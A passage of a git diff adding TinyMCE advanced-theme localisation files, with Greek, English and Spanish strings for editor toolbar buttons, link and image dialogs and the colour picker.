(Ctrl+U)","italic_desc":"\u03a0\u03bb\u03ac\u03b3\u03b9\u03b1 (Ctrl+I)","bold_desc":"\u039c\u03b1\u03cd\u03c1\u03b1 (Ctrl+B)",dd:"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u039f\u03c1\u03b9\u03c3\u03bc\u03bf\u03cd",dt:"\u039f\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2",samp:"\u0394\u03b5\u03af\u03b3\u03bc\u03b1 \u039a\u03ce\u03b4\u03b9\u03ba\u03b1",code:"\u039a\u03ce\u03b4\u03b9\u03ba\u03b1\u03c2",blockquote:"Blockquote",h6:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 6",h5:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 5",h4:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 4",h3:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 3",h2:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 2",h1:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 1",pre:"Pre",address:"\u0394\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7",div:"Div",paragraph:"\u03a0\u03b1\u03c1\u03ac\u03b3\u03c1\u03b1\u03c6\u03bf\u03c2",block:"\u039c\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",fontdefault:"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","font_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u0393\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","style_select":"\u03a3\u03c4\u03c5\u03bb","link_delta_width":"80","image_delta_width":"20","more_colors":"\u03a0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b1 \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1","toolbar_focus":"\u039c\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03b1 \u03ba\u03bf\u03c5\u03bc\u03c0\u03b9\u03ac \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd - Alt+Q, \u039c\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03bf\u03bd \u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03ae \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 - Alt-Z, \u039c\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03b7\u03bd \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae \u03c4\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5 - Alt-X",newdocument:"\u03a3\u03b9\u03af\u03b3\u03bf\u03c5\u03c1\u03b1 \u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03ba\u03b1\u03b8\u03b1\u03c1\u03af\u03c3\u03b5\u03c4\u03b5 \u03cc\u03bb\u03bf \u03c4\u03bf \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf ;",path:"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae","clipboard_msg":"\u039f\u03b9 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b5\u03c2 \u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae/\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae/\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b4\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03b9\u03b1\u03b8\u03ad\u03c3\u03b9\u03bc\u03b5\u03c2 \u03c3\u03b5 Mozilla \u03ba\u03b1\u03b9 Firefox.\n\u0398\u03ad\u03bb\u03b5\u03c4\u03b5 \u03c0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b5\u03c2 \u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b5\u03c2 ;","blockquote_desc":"Blockquote","help_desc":"\u0392\u03bf\u03ae\u03b8\u03b5\u03b9\u03b1","newdocument_desc":"\u039d\u03ad\u03bf \u03ad\u03b3\u03b3\u03c1\u03b1\u03c6\u03bf","image_props_desc":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","paste_desc":"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7","copy_desc":"\u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae","cut_desc":"\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae","anchor_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 anchor","visualaid_desc":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7/\u0391\u03c0\u03cc\u03ba\u03c1\u03c5\u03c8\u03b7 \u03b2\u03bf\u03b7\u03b8\u03b7\u03c4\u03b9\u03ba\u03ce\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03ba\u03b1\u03b9 \u03b1\u03cc\u03c1\u03b1\u03c4\u03c9\u03bd \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03c9\u03bd","charmap_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1","backcolor_desc":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","forecolor_desc":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","custom1_desc":"\u0397 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03c3\u03b1\u03c2 \u03b5\u03b4\u03ce","removeformat_desc":"\u0391\u03c6\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 \u03bc\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7\u03c2","hr_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","sup_desc":"\u0395\u03ba\u03b8\u03ad\u03c4\u03b7\u03c2","sub_desc":"\u0394\u03b5\u03af\u03ba\u03c4\u03b7\u03c2","code_desc":"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 HTML \u039a\u03ce\u03b4\u03b9\u03ba\u03b1","cleanup_desc":"\u039a\u03b1\u03b8\u03b1\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2 \u03bc\u03c0\u03b5\u03c1\u03b4\u03b5\u03bc\u03ad\u03bd\u03bf\u03c5 \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1","image_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","unlink_desc":"\u039a\u03b1\u03c4\u03ac\u03c1\u03b3\u03b7\u03c3\u03b7 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","link_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","redo_desc":"\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7 (Ctrl+Y)","undo_desc":"\u0391\u03bd\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 (Ctrl+Z)","indent_desc":"\u0395\u03c3\u03bf\u03c7\u03ae","outdent_desc":"\u03a0\u03c1\u03bf\u03b5\u03be\u03bf\u03c7\u03ae","numlist_desc":"\u039b\u03af\u03c3\u03c4\u03b1 \u03bc\u03b5 \u03c3\u03b5\u03b9\u03c1\u03ac","bullist_desc":"\u039b\u03af\u03c3\u03c4\u03b1 \u03c7\u03c9\u03c1\u03af\u03c2 \u03c3\u03b5\u03b9\u03c1\u03ac","justifyfull_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03c0\u03bb\u03ae\u03c1\u03b7\u03c2","justifyright_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03b4\u03b5\u03be\u03b9\u03ac","justifycenter_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03ba\u03ad\u03bd\u03c4\u03c1\u03bf","justifyleft_desc":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","striketrough_desc":"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03bc\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03b1",toolbar:"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","image_delta_height":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/el_dlg.js b/js/tiny_mce/themes/advanced/langs/el_dlg.js new file mode 100755 index 0000000..c7fd7f7 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advanced_dlg',{"link_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd","link_is_external":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03cc\u03c2 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf http:// ;","link_is_email":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 email, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf mailto: ;","link_titlefield":"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2","link_target_blank":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03b5 \u03bd\u03ad\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf","link_target_same":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03c4\u03bf \u03af\u03b4\u03b9\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf","link_target":"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2","link_url":"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","link_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","image_align_right":"\u0394\u03b5\u03be\u03b9\u03ac","image_align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","image_align_textbottom":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03ba\u03ac\u03c4\u03c9","image_align_texttop":"\u039a\u03ad\u03b9\u03bc\u03b5\u03bd\u03bf \u03c0\u03ac\u03bd\u03c9","image_align_bottom":"\u039a\u03ac\u03c4\u03c9","image_align_middle":"\u039c\u03ad\u03c3\u03b7","image_align_top":"\u0395\u03c0\u03ac\u03bd\u03c9","image_align_baseline":"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","image_align":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7","image_hspace":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1","image_vspace":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03ac\u03b8\u03b5\u03c4\u03b7","image_dimensions":"\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2","image_alt":"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","image_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03c9\u03bd","image_border":"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf","image_src":"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u0395\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","image_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","charmap_title":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1","colorpicker_name":"\u038c\u03bd\u03bf\u03bc\u03b1:","colorpicker_color":"\u03a7\u03c1\u03ce\u03bc\u03b1:","colorpicker_named_title":"\u039f\u03bd\u03bf\u03bc\u03b1\u03c3\u03c4\u03b9\u03ba\u03ac \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1","colorpicker_named_tab":"\u039f\u03bd\u03bf\u03bc\u03b1\u03c3\u03c4\u03b9\u03ba\u03ac","colorpicker_palette_title":"\u03a7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1 \u03c0\u03b1\u03bb\u03ad\u03c4\u03b1\u03c2","colorpicker_palette_tab":"\u03a0\u03b1\u03bb\u03ad\u03c4\u03b1","colorpicker_picker_title":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2","colorpicker_picker_tab":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae","colorpicker_title":"\u0394\u03b9\u03b1\u03bb\u03ad\u03be\u03c4\u03b5 \u03c7\u03c1\u03ce\u03bc\u03b1","code_wordwrap":"\u0391\u03bd\u03b1\u03b4\u03af\u03c0\u03bb\u03c9\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","code_title":"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03ae\u03c2 \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1 HTML","anchor_name":"\u038c\u03bd\u03bf\u03bc\u03b1 anchor","anchor_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 anchor","about_loaded":"\u03a6\u03bf\u03c1\u03c4\u03c9\u03bc\u03ad\u03bd\u03b1 \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03b1","about_version":"\u0388\u03ba\u03b4\u03bf\u03c3\u03b7","about_author":"\u03a3\u03c5\u03b3\u03b3\u03c1\u03b1\u03c6\u03ad\u03b1\u03c2","about_plugin":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03bf \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03bf","about_plugins":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03b1 \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03b1","about_license":"\u0386\u03b4\u03b5\u03b9\u03b1","about_help":"\u0392\u03bf\u03ae\u03b8\u03b5\u03b9\u03b1","about_general":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac","about_title":"\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03bf TinyMCE","charmap_usage":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b5\u03af\u03c3\u03c4\u03b5 \u03c4\u03bf \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03cc \u03ba\u03b1\u03b9 \u03b4\u03b5\u03be\u03af \u03b2\u03b5\u03bb\u03ac\u03ba\u03b9 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c0\u03bb\u03bf\u03b7\u03b3\u03b7\u03b8\u03b5\u03af\u03c4\u03b5","anchor_invalid":"\u03a0\u03b1\u03c1\u03b1\u03ba\u03b1\u03bb\u03ce \u03b5\u03b9\u03c3\u03ac\u03b3\u03b5\u03c4\u03b5 \u03ad\u03bd\u03b1 \u03ad\u03b3\u03ba\u03c5\u03c1\u03bf \u03cc\u03bd\u03bf\u03bc\u03b1 anchor.","accessibility_usage_title":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ae \u03a7\u03c1\u03ae\u03c3\u03b7","accessibility_help":"Accessibility Help"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/en.js b/js/tiny_mce/themes/advanced/langs/en.js new file mode 100755 index 0000000..6e58481 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/en.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advanced',{"underline_desc":"Underline (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"Bold (Ctrl+B)",dd:"Definition Description",dt:"Definition Term ",samp:"Code Sample",code:"Code",blockquote:"Block Quote",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Preformatted",address:"Address",div:"DIV",paragraph:"Paragraph",block:"Format",fontdefault:"Font Family","font_size":"Font Size","style_select":"Styles","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","more_colors":"More Colors...","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"Are you sure you want clear all contents?",path:"Path","clipboard_msg":"Copy/Cut/Paste is not available in Mozilla and Firefox.\nDo you want more information about this issue?","blockquote_desc":"Block Quote","help_desc":"Help","newdocument_desc":"New Document","image_props_desc":"Image Properties","paste_desc":"Paste (Ctrl+V)","copy_desc":"Copy (Ctrl+C)","cut_desc":"Cut (Ctrl+X)","anchor_desc":"Insert/Edit Anchor","visualaid_desc":"show/Hide Guidelines/Invisible Elements","charmap_desc":"Insert Special Character","backcolor_desc":"Select Background Color","forecolor_desc":"Select Text Color","custom1_desc":"Your Custom Description Here","removeformat_desc":"Remove Formatting","hr_desc":"Insert Horizontal Line","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Edit HTML Source","cleanup_desc":"Cleanup Messy Code","image_desc":"Insert/Edit Image","unlink_desc":"Unlink","link_desc":"Insert/Edit Link","redo_desc":"Redo (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Increase Indent","outdent_desc":"Decrease Indent","numlist_desc":"Insert/Remove Numbered List","bullist_desc":"Insert/Remove Bulleted List","justifyfull_desc":"Align Full","justifyright_desc":"Align Right","justifycenter_desc":"Align Center","justifyleft_desc":"Align Left","striketrough_desc":"Strikethrough","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/en_dlg.js b/js/tiny_mce/themes/advanced/langs/en_dlg.js new file mode 100755 index 0000000..e451f37 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advanced_dlg',{"link_list":"Link List","link_is_external":"The URL you entered seems to be an external link. Do you want to add the required http:// prefix?","link_is_email":"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?","link_titlefield":"Title","link_target_blank":"Open Link in a New Window","link_target_same":"Open Link in the Same Window","link_target":"Target","link_url":"Link URL","link_title":"Insert/Edit Link","image_align_right":"Right","image_align_left":"Left","image_align_textbottom":"Text Bottom","image_align_texttop":"Text Top","image_align_bottom":"Bottom","image_align_middle":"Middle","image_align_top":"Top","image_align_baseline":"Baseline","image_align":"Alignment","image_hspace":"Horizontal Space","image_vspace":"Vertical Space","image_dimensions":"Dimensions","image_alt":"Image Description","image_list":"Image List","image_border":"Border","image_src":"Image URL","image_title":"Insert/Edit Image","charmap_title":"Select Special Character","colorpicker_name":"Name:","colorpicker_color":"Color:","colorpicker_named_title":"Named Colors","colorpicker_named_tab":"Named","colorpicker_palette_title":"Palette Colors","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Color Picker","colorpicker_picker_tab":"Picker","colorpicker_title":"Select a Color","code_wordwrap":"Word Wrap","code_title":"HTML Source Editor","anchor_name":"Anchor Name","anchor_title":"Insert/Edit Anchor","about_loaded":"Loaded Plugins","about_version":"Version","about_author":"Author","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"License","about_help":"Help","about_general":"About","about_title":"About TinyMCE","charmap_usage":"Use left and right arrows to navigate.","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage","invalid_color_value":"Invalid color value"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/es.js b/js/tiny_mce/themes/advanced/langs/es.js new file mode 100755 index 0000000..ef9f264 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/es.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advanced',{"underline_desc":"Subrayado (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negrita (Ctrl+B)",dd:"Descripci\u00f3n de definici\u00f3n",dt:"T\u00e9rmino de definici\u00f3n",samp:"Ejemplo de c\u00f3digo",code:"C\u00f3digo",blockquote:"Cita",h6:"Encabezado 6",h5:"Encabezado 5",h4:"Encabezado 4",h3:"Encabezado 3",h2:"Encabezado 2",h1:"Encabezado 1",pre:"Preformateado",address:"Direcci\u00f3n",div:"Div",paragraph:"P\u00e1rrafo",block:"Formato",fontdefault:"Fuente","font_size":"Tama\u00f1o","style_select":"Estilos","more_colors":"M\u00e1s colores","toolbar_focus":"Ir a los botones de herramientas - Alt+Q, Ir al editor - Alt-Z, Ir a la ruta del elemento - Alt-X",newdocument:" \u00bfSeguro que desea limpiar todo el contenido?",path:"Ruta","clipboard_msg":"Copiar/Cortar/Pegar no se encuentra disponible en Mozilla y Firefox.\n \u00bfQuiere m\u00e1s informaci\u00f3n sobre este tema?","blockquote_desc":"Cita","help_desc":"Ayuda","newdocument_desc":"Nuevo documento","image_props_desc":"Propiedades de imagen","paste_desc":"Pegar","copy_desc":"Copiar","cut_desc":"Cortar","anchor_desc":"Insertar/editar ancla","visualaid_desc":"Mostrar/ocultar l\u00ednea de gu\u00eda/elementos invisibles","charmap_desc":"Insertar caracteres personalizados","backcolor_desc":"Elegir color de fondo","forecolor_desc":"Elegir color del texto","custom1_desc":"Su descripci\u00f3n personal aqu\u00ed","removeformat_desc":"Limpiar formato","hr_desc":"Insertar regla horizontal","sup_desc":"Super\u00edndice","sub_desc":"Sub\u00edndice","code_desc":"Editar c\u00f3digo HTML","cleanup_desc":"Limpiar c\u00f3digo basura","image_desc":"Insertar/editar imagen","unlink_desc":"Quitar hiperv\u00ednculo","link_desc":"Insertar/editar hiperv\u00ednculo","redo_desc":"Rehacer (Ctrl+Y)","undo_desc":"Deshacer (Ctrl+Z)","indent_desc":"Aumentar sangr\u00eda","outdent_desc":"Reducir sangr\u00eda","numlist_desc":"Lista ordenada","bullist_desc":"Lista desordenada","justifyfull_desc":"Justificar","justifyright_desc":"Alinear a la derecha","justifycenter_desc":"Alinear al centro","justifyleft_desc":"Alinear a la izquierda","striketrough_desc":"Tachado","help_shortcut":"Presiones ALT-F10 para la barra de herramientas. Presione ALT-0 para ayuda.","rich_text_area":"\u00c1rea de texto con formato","shortcuts_desc":"Ayuda de accesibilidad",toolbar:"Barra de Herramientas","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/es_dlg.js b/js/tiny_mce/themes/advanced/langs/es_dlg.js new file mode 100755 index 0000000..0b2592e --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advanced_dlg',{"link_list":"Lista de hiperv\u00ednculos","link_is_external":"La URL que introdujo parece ser un v\u00ednculo externo, \u00bfdesea agregar el prefijo http:// necesario?","link_is_email":"La URL que introdujo parece ser una direcci\u00f3n de email, \u00bfdesea agregar el prefijo mailto: necesario?","link_titlefield":"T\u00edtulo","link_target_blank":"Abrir v\u00ednculo en una ventana nueva","link_target_same":"Abrir v\u00ednculo en la misma ventana","link_target":"Destino","link_url":"URL del hiperv\u00ednculo","link_title":"Insertar/editar hiperv\u00ednculo","image_align_right":"Derecha","image_align_left":"Izquierda","image_align_textbottom":"Texto debajo","image_align_texttop":"Texto arriba","image_align_bottom":"Debajo","image_align_middle":"Medio","image_align_top":"Arriba","image_align_baseline":"L\u00ednea base","image_align":"Alineaci\u00f3n","image_hspace":"Espacio horizontal","image_vspace":"Espacio vertical","image_dimensions":"Dimensi\u00f3n","image_alt":"Descripci\u00f3n de la Imagen","image_list":"Lista de la Imagen","image_border":"Borde","image_src":"URL de la Imagen","image_title":"Insertar/editar imagen","charmap_title":"Elegir caracter personalizado","colorpicker_name":"Nombre:","colorpicker_color":"Color:","colorpicker_named_title":"Colores nombrados","colorpicker_named_tab":"Nombrados","colorpicker_palette_title":"Paleta de colores","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Paleta de color","colorpicker_picker_tab":"Selector","colorpicker_title":"Elegir color","code_wordwrap":"Ajustar al margen","code_title":"Editor del c\u00f3digo fuente HTML","anchor_name":"Nombre del ancla","anchor_title":"Insertar/editar ancla","about_loaded":"Complementos cargados","about_version":"Versi\u00f3n","about_author":"Autor","about_plugin":"Complemento","about_plugins":"Complementos","about_license":"Licencia","about_help":"Ayuda","about_general":"Acerca de ","about_title":"Acerca de TinyMCE","charmap_usage":"Use las flechas para navegar","anchor_invalid":"Especifique un nombre 